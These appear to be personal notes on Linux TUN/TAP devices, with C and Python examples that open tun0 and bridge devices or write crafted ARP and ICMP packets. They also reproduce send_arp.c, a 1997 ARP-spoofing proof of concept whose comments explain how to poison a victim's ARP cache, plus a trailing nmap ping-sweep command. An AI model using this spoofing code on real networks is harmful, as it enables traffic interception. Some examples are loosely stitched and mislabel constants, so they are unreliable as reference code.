Tun

Introduction

vtun Example

stackoverflow

macvlan/macvtap

Introduction

TUN/TAP provides packet reception and transmission for user space programs. 
  It can be seen as a simple Point-to-Point or Ethernet device, which,
  instead of receiving packets from physical media, receives them from 
  user space program and instead of sending packets via physical media 
  writes them to the user space program. 

  In order to use the driver a program has to open /dev/net/tun and issue a
  corresponding ioctl() to register a network device with the kernel. A network
  device will appear as tunXX or tapXX, depending on the options chosen. When
  the program closes the file descriptor, the network device and all
  corresponding routes will disappear.

  Depending on the type of device chosen the userspace program has to read/write
  IP packets (with tun) or ethernet frames (with tap). Which one is being used
  depends on the flags given with the ioctl().

  The package from http://vtun.sourceforge.net/tun contains two simple examples
  for how to use tun and tap devices. Both programs work like a bridge between
  two network interfaces.
  br_select.c - bridge based on select system call.
  br_sigio.c  - bridge based on async io and SIGIO signal.
  However, the best example is VTun http://vtun.sourceforge.net :))

Interface with tun driver

bridge two tun devices

[root@dell-per740-26 examples]# cat br_select.c 
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>

#include <linux/if_tun.h>

#define max(a,b) ((a)>(b) ? (a):(b))

int main(int argc, char *argv[])
{
   char buf[1600];
   int f1,f2,l,fm;
   fd_set fds;
 
   if(argc < 2) {
      printf("Usage: bridge tap|tun\n");
      exit(1);
   }

   sprintf(buf,"/dev/%s%d",argv[1],0);
   f1 = open(buf, O_RDWR);

   sprintf(buf,"/dev/%s%d",argv[1],1);
   f2 = open(buf, O_RDWR);

   printf("f1 is %d, f2 is %d\n",f1,f2);

   fm = max(f1, f2) + 1;

   ioctl(f1, TUNSETNOCSUM, 1); 
   ioctl(f2, TUNSETNOCSUM, 1); 

   while(1){
	FD_ZERO(&fds);
        FD_SET(f1, &fds);
        FD_SET(f2, &fds);

	select(fm, &fds, NULL, NULL, NULL);

	if( FD_ISSET(f1, &fds) ) {
	   l = read(f1,buf,sizeof(buf));
           write(f2,buf,l);
	}
	if( FD_ISSET(f2, &fds) ) {
	   l = read(f2,buf,sizeof(buf));
           write(f1,buf,l);
	}
   }
}

control tun device and send arp reply

[root@dell-per740-26 examples]# cat tun-reply-arp.c 
#include <sys/stat.h>

#include <unistd.h>
#include <sys/time.h>

#define max(a,b) ((a)>(b) ? (a):(b))

#include <fcntl.h>  /* O_RDWR */
#include <string.h> /* memset(), memcpy() */
#include <stdio.h> /* perror(), printf(), fprintf() */
#include <stdlib.h> /* exit(), malloc(), free() */
#include <sys/ioctl.h> /* ioctl() */

/* includes for struct ifreq, etc */
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>

#include <ctype.h>
#include <errno.h>

#include <netdb.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>

// http://en.wikipedia.org/wiki/Address_Resolution_Protocol
//   hlen          - Ethernet addresses size is 6.
//   plen          - IPv4 address size is 4.
//   frtype        - 0x0806 = ARP - http://en.wikipedia.org/wiki/EtherType
//   htype         - Ethernet is 1.
//   Protocol type - for IPv4, this has the value 0x0800
//   Operation     - specifies the operation that the sender is performing: 1 for request, 2 for reply.

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN     4
#define ARP_FRAME_TYPE  0x0806
#define ETHER_HW_TYPE   1
#define IP_PROTO_TYPE   0x0800
#define OP_ARP_REQUEST  2

#define DEFAULT_DEVICE "tun0"

char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
  //u_char  targ_hw_addr[ETH_HW_ADDR_LEN];
  //u_char  src_hw_addr[ETH_HW_ADDR_LEN];
  //u_short frame_type;
  u_short hw_type;
  u_short prot_type;
  u_char  hw_addr_size;
  u_char  prot_addr_size;
  u_short op;
  u_char  sndr_hw_addr[ETH_HW_ADDR_LEN];
  u_char  sndr_ip_addr[IP_ADDR_LEN];
  u_char  rcpt_hw_addr[ETH_HW_ADDR_LEN];
  u_char  rcpt_ip_addr[IP_ADDR_LEN];
  u_char  padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int tun_open(char *devname)
{
  struct ifreq ifr;
  int fd, err;

  if ( (fd = open("/dev/net/tun", O_RDWR)) == -1 ) {
       perror("open /dev/net/tun");exit(1);
  }
  memset(&ifr, 0, sizeof(ifr));
  ifr.ifr_flags = IFF_TUN;
  strncpy(ifr.ifr_name, devname, IFNAMSIZ); // devname = "tun0" or "tun1", etc

  /* ioctl will use ifr.if_name as the name of TUN
   * interface to open: "tun0", etc. */
  if ( (err = ioctl(fd, TUNSETIFF, (void *) &ifr)) == -1 ) {
    perror("ioctl TUNSETIFF");close(fd);exit(1);
  }

  /* After the ioctl call the fd is "connected" to tun device specified
   * by devname ("tun0", "tun1", etc)*/

  return fd;
}


int main(int argc, char *argv[])
{

  if ( argc != 5 ) die(usage) ;

  int fd, nbytes;
  char buf[1600];

  fd = tun_open("tun0"); /* devname = ifr.if_name = "tun0" */
  printf("Device tun0 opened\n");

  struct arp_packet pkt;
  struct in_addr src_in_addr, targ_in_addr;
  //pkt.frame_type     = htons(ARP_FRAME_TYPE);
  pkt.hw_type        = htons(ETHER_HW_TYPE);
  pkt.prot_type      = htons(IP_PROTO_TYPE);
  pkt.hw_addr_size   = ETH_HW_ADDR_LEN;
  pkt.prot_addr_size = IP_ADDR_LEN;
  pkt.op             = htons(OP_ARP_REQUEST);

  //get_hw_addr( pkt.targ_hw_addr, argv[4] );
  get_hw_addr( pkt.rcpt_hw_addr, argv[4] );
  //get_hw_addr( pkt.src_hw_addr,  argv[2] );
  get_hw_addr( pkt.sndr_hw_addr, argv[2] );

  get_ip_addr( &src_in_addr,  argv[1] );
  get_ip_addr( &targ_in_addr, argv[3] );

  memcpy( pkt.sndr_ip_addr, &src_in_addr,  IP_ADDR_LEN );
  memcpy( pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN );

  bzero( pkt.padding, 18 );

  while(1) {
    nbytes = read(fd, buf, sizeof(buf));
    printf("Read %d bytes from tun0\n", nbytes);
    write(fd,&pkt,sizeof(pkt));
  }

  return 0;
}

/*
int main(int argc, char *argv[])
{
   char buf[1600];
   int f1,f2,l,fm;
   fd_set fds;
 
   if(argc < 2) {
      printf("Usage: bridge tap|tun\n");
      exit(1);
   }

   f1 = tun_open("tun0");
   f2 = tun_open("tun1");

   printf("f1 is %d, f2 is %d\n",f1,f2);

   fm = max(f1, f2) + 1;

   ioctl(f1, TUNSETNOCSUM, 1); 
   ioctl(f2, TUNSETNOCSUM, 1); 

   while(1){
	FD_ZERO(&fds);
        FD_SET(f1, &fds);
        FD_SET(f2, &fds);

	select(fm, &fds, NULL, NULL, NULL);

	if( FD_ISSET(f1, &fds) ) {
	   l = read(f1,buf,sizeof(buf));
           write(f2,buf,l);
	}
	if( FD_ISSET(f2, &fds) ) {
	   l = read(f2,buf,sizeof(buf));
           write(f1,buf,l);
	}
   }
}
*/

void die(char* str){
  fprintf(stderr,"%s\n",str);
  exit(1);
} ; // die

void get_ip_addr( struct in_addr* in_addr, char* str ){

  struct hostent *hostp;

  in_addr->s_addr = inet_addr(str);
  if ( in_addr->s_addr == -1 ){
    if( (hostp = gethostbyname(str)))
      bcopy( hostp->h_addr, in_addr, hostp->h_length ) ;
    else {
      fprintf( stderr, "send_arp: unknown host [%s].\n", str ) ;
      exit(1);
    }
  }
} ; // get_ip_addr

void get_hw_addr( char* buf, char* str ){

  int i;
  char c,val;

  for ( i=0 ; i < ETH_HW_ADDR_LEN ; i++ ){
    if( !(c = tolower(*str++))) die("Invalid hardware address");
    if(isdigit(c)) val = c-'0';
    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
    else die("Invalid hardware address");

    *buf = val << 4;
    if( !(c = tolower(*str++))) die("Invalid hardware address");
    if(isdigit(c)) val = c-'0';
    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
    else die("Invalid hardware address");

    *buf++ |= val;

    if (*str == ':') str++ ;
  } ; // for loop
} ; // get_hw_addr

send_arp_reply.c

[root@dell-per740-26 examples]# cat send_arp.c 

/* send_arp.c

url = http://insecure.org/sploits/arp.games.html
This program sends out one ARP "reply" packet with source/target IP and Ethernet hardware addresses suuplied by the user.  
It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET.

The idea behind this program is a proof of a concept, nothing more.  It comes as is, no warranty.
However, you're allowed to use it under one condition: you must use your brain simultaneously.  
If this condition is not met, you shall forget about this program and go RTFM immediately.

yuri volobuev'97
volobuev@t1.chem.umn.edu

IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
hostname       cat        rat       dog       bat
hw addr       AA:AA      BB:BB     CC:CC     DD:DD

You, bat, want dog to believe that rat's hardware address is that of cat (AA:AA), 
so you send ARP reply with 
  source IP 10.0.0.2,             machine which is suposed to receive traffic (as DGW)
  source hw address AA:AA,        wrong MAC - the MAC that will effectivelly receive traffic
  target IP address 10.0.0.3,     destination IP, machine to be spoofed, blinded
  target hardware address CC:CC.  destination MAC of this message
  
Now, for all dog knows, rat is at AA:AA. 

Cache entry would expire, of course, so it needs to be updated (request needs to be resent).  
How often depends on the particular system, but every 40 sec or so should be sufficient for most cases.

*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

// replace following by
// #include 
// for windows migrating start ...

#include <netdb.h>
#include <sys/socket.h>
// --- not required by RH --- #include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>

// http://en.wikipedia.org/wiki/Address_Resolution_Protocol
//   hlen          - Ethernet addresses size is 6.
//   plen          - IPv4 address size is 4.
//   frtype        - 0x0806 = ARP - http://en.wikipedia.org/wiki/EtherType
//   htype         - Ethernet is 1.
//   Protocol type - for IPv4, this has the value 0x0800
//   Operation     - specifies the operation that the sender is performing: 1 for request, 2 for reply.

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN     4
#define ARP_FRAME_TYPE  0x0806
#define ETHER_HW_TYPE   1
#define IP_PROTO_TYPE   0x0800
#define OP_ARP_REQUEST  2

#define DEFAULT_DEVICE "tun0"

char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
  u_char  targ_hw_addr[ETH_HW_ADDR_LEN];
  u_char  src_hw_addr[ETH_HW_ADDR_LEN];
  u_short frame_type;
  u_short hw_type;
  u_short prot_type;
  u_char  hw_addr_size;
  u_char  prot_addr_size;
  u_short op;
  u_char  sndr_hw_addr[ETH_HW_ADDR_LEN];
  u_char  sndr_ip_addr[IP_ADDR_LEN];
  u_char  rcpt_hw_addr[ETH_HW_ADDR_LEN];
  u_char  rcpt_ip_addr[IP_ADDR_LEN];
  u_char  padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main ( int argc, char** argv ) {

  struct in_addr src_in_addr, targ_in_addr;
  struct arp_packet pkt;
  struct sockaddr sa;
  int sock;

  if ( argc != 5 ) die(usage) ;

  sock = socket( AF_INET, SOCK_PACKET, htons(ETH_P_RARP) ) ;
  if ( sock < 0 ){
    perror("socket");
    exit(1);
  }

  pkt.frame_type     = htons(ARP_FRAME_TYPE);
  pkt.hw_type        = htons(ETHER_HW_TYPE);
  pkt.prot_type      = htons(IP_PROTO_TYPE);
  pkt.hw_addr_size   = ETH_HW_ADDR_LEN;
  pkt.prot_addr_size = IP_ADDR_LEN;
  pkt.op             = htons(OP_ARP_REQUEST);

  get_hw_addr( pkt.targ_hw_addr, argv[4] );
  get_hw_addr( pkt.rcpt_hw_addr, argv[4] );
  get_hw_addr( pkt.src_hw_addr,  argv[2] );
  get_hw_addr( pkt.sndr_hw_addr, argv[2] );

  get_ip_addr( &src_in_addr,  argv[1] );
  get_ip_addr( &targ_in_addr, argv[3] );

  memcpy( pkt.sndr_ip_addr, &src_in_addr,  IP_ADDR_LEN );
  memcpy( pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN );

  bzero( pkt.padding, 18 );

  strcpy( sa.sa_data, DEFAULT_DEVICE ) ;
  if ( sendto( sock, &pkt,sizeof(pkt), 0, &sa,sizeof(sa) ) < 0 ){
    perror("sendto");
    exit(1);
  }

  exit(0);
  
} ; // main

// main code end


void die(char* str){
  fprintf(stderr,"%s\n",str);
  exit(1);
} ; // die

void get_ip_addr( struct in_addr* in_addr, char* str ){

  struct hostent *hostp;

  in_addr->s_addr = inet_addr(str);
  if ( in_addr->s_addr == -1 ){
    if( (hostp = gethostbyname(str)))
      bcopy( hostp->h_addr, in_addr, hostp->h_length ) ;
    else {
      fprintf( stderr, "send_arp: unknown host [%s].\n", str ) ;
      exit(1);
    }
  }
} ; // get_ip_addr

void get_hw_addr( char* buf, char* str ){

  int i;
  char c,val;

  for ( i=0 ; i < ETH_HW_ADDR_LEN ; i++ ){
    if( !(c = tolower(*str++))) die("Invalid hardware address");
    if(isdigit(c)) val = c-'0';
    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
    else die("Invalid hardware address");

    *buf = val << 4;
    if( !(c = tolower(*str++))) die("Invalid hardware address");
    if(isdigit(c)) val = c-'0';
    else if(c >= 'a' && c <= 'f') val = c-'a'+10;
    else die("Invalid hardware address");

    *buf++ |= val;

    if (*str == ':') str++ ;
  } ; // for loop
} ; // get_hw_addr

//
// use macchanger ( http://www.alobbs.com/macchanger/ ) with "./configure" plus "make", "make check" and "make install" : now you can use "macchenger".
//
// use the following command to get all IP's in a segment into a file : ("-sn" = "ping scan" so no port scan, "-n" = no DNS)
//    nmap -sn -n 99.137.146-147.1-254 > fn.txt 
//

control tun device using python

[root@dell-per740-26 examples]# cat tun.py 
import os
from fcntl import ioctl
import struct
import time
import random
from scapy.all import *

# pip install pypacker==4.0
from pypacker.layer3.ip import IP
from pypacker.layer3.icmp import ICMP
from pypacker.layer12 import ethernet
from pypacker.layer12 import arp


TUNSETIFF = 0x400454ca
IFF_TUN   = 0x0001
IFF_NO_PI = 0x1000

ftun = os.open("/dev/net/tun", os.O_RDWR)
#ioctl(ftun, TUNSETIFF, struct.pack("16sH", b"tun0", IFF_TUN | IFF_NO_PI))
ioctl(ftun, TUNSETIFF, struct.pack("16sH", b"tun0", IFF_TUN))
"""
# about pack,unpack
# struct.pack(fmt,v1,v2,.....)
# struct.unpack(fmt,string)

# 把tun0转换为16个char
>>> struct.pack("16s", b"tun0")
'tun0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# unpack,因为pack的时候后面补了12个0,所以unpack的时候也要把后补的0抛开
>>> struct.unpack("4s12s",data)
('tun0', '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')

# 把tun0转换为16个char,把0x0001转换为一个无符号短整型,拼接在一起
>>> IFF_TUN   = 0x0001
>>> struct.pack("16sH", b"tun0", IFF_TUN)
'tun0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00
"""

req_nr = 1
req_id = random.randint(1, 65000)

#arp_req = ethernet.Ethernet(src_s="12:34:56:78:90:12", type=ethernet.ETH_TYPE_ARP) +\
#            arp.ARP(sha_s="12:34:56:78:90:12", spa_s="192.168.0.2", tha_s="12:34:56:78:90:13", tpa_s="192.168.0.1")
arp_req = arp.ARP(sha_s="12:34:56:78:90:12", spa_s="192.168.100.1", tha_s="12:34:56:78:90:13", tpa_s="192.168.100.2", op=0x2)
print("%s" % arp_req)
print(arp_req.bin())
"""
layer12.ethernet.Ethernet
	dst          (6): b'\xff\xff\xff\xff\xff\xff' = FF:FF:FF:FF:FF:FF
	src          (6): b'\x124Vx\x90\x12' = 12:34:56:78:90:12
	vlan            : []
	type         (H): 0x806 = 2054 = 0b100000000110 = ETH_TYPE_ARP
layer12.arp.ARP
	hrd          (H): 0x1 = 1 = 0b1
	pro          (H): 0x800 = 2048 = 0b100000000000
	hln          (B): 0x6 = 6 = 0b110
	pln          (B): 0x4 = 4 = 0b100
	op           (H): 0x1 = 1 = 0b1
	sha          (6): b'\x124Vx\x90\x12' = 12:34:56:78:90:12
	spa          (4): b'\xc0\xa8\x00\x02' = 192.168.0.2
	tha          (6): b'\x124Vx\x90\x13' = 12:34:56:78:90:13
	tpa          (4): b'\xc0\xa8\x00\x01' = 192.168.0.1
	bodybytes    (0): b''
"""

icmp_req = IP(src_s="10.0.0.2", dst_s="8.8.8.8", p=1) +\
    ICMP(type=8) +\
    ICMP.Echo(id=req_id, seq=req_nr, body_bytes=b"povilas-test")
print("%s" % icmp_req)

arp2=Ether(dst="ff:ff:ff:ff:ff:ff",src="22:22:22:22:22:22")/ARP(pdst="$ip2",psrc="$ip2",hwsrc="22:22:22:22:22:22")

while True:
    #os.write(ftun, icmp_req.bin())
    os.write(ftun, arp_req.bin())
    time.sleep(1)
    req_nr += 1